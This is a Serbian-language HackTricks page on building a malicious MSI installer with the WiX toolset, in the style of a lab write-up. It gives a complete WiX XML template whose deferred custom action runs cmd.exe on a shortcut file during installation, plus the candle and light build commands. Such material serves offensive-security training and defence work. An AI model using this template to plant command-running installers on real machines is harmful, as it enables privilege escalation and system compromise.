Create MSI with WIX

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Kreiranje zlonamernog MSI-a i dobijanje root pristupa

Kreiranje MSI instalera će biti urađeno korišćenjem wixtools alata, tačnije će biti korišćen wixtools. Vredno je pomenuti da su pokušani alternativni MSI builderi, ali nisu bili uspešni u ovom konkretnom slučaju.

Za sveobuhvatno razumevanje primera korišćenja wix MSI-a, preporučuje se konsultacija ove stranice. Ovde možete pronaći razne primere koji demonstriraju upotrebu wix MSI-a.

Cilj je generisanje MSI-a koji će izvršiti lnk fajl. Da biste to postigli, može se koristiti sledeći XML kod (xml odavde):

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>

Važno je napomenuti da element Package sadrži atribute kao što su InstallerVersion i Compressed, koji određuju verziju instalera i ukazuju da li je paket komprimiran ili ne.

Proces kreiranja uključuje korišćenje alata candle.exe iz wixtools-a za generisanje wixobjekta iz msi.xml. Sledeća komanda treba da se izvrši:

candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml

Takođe, vredi pomenuti da je u postu priložena slika koja prikazuje komandu i njen izlaz. Možete se referisati na nju za vizuelno vođenje.

Osim toga, koristiće se light.exe, još jedan alat iz wixtools-a, za kreiranje MSI fajla iz wixobjekta. Komanda koja će se izvršiti je sledeća:

light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix

Slično kao i prethodna komanda, u post je uključena slika koja ilustruje komandu i njen izlaz.

Napomena: Iako ovaj sažetak ima za cilj pružanje korisnih informacija, preporučuje se da se za sveobuhvatne detalje i tačne instrukcije obratite originalnom postu.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated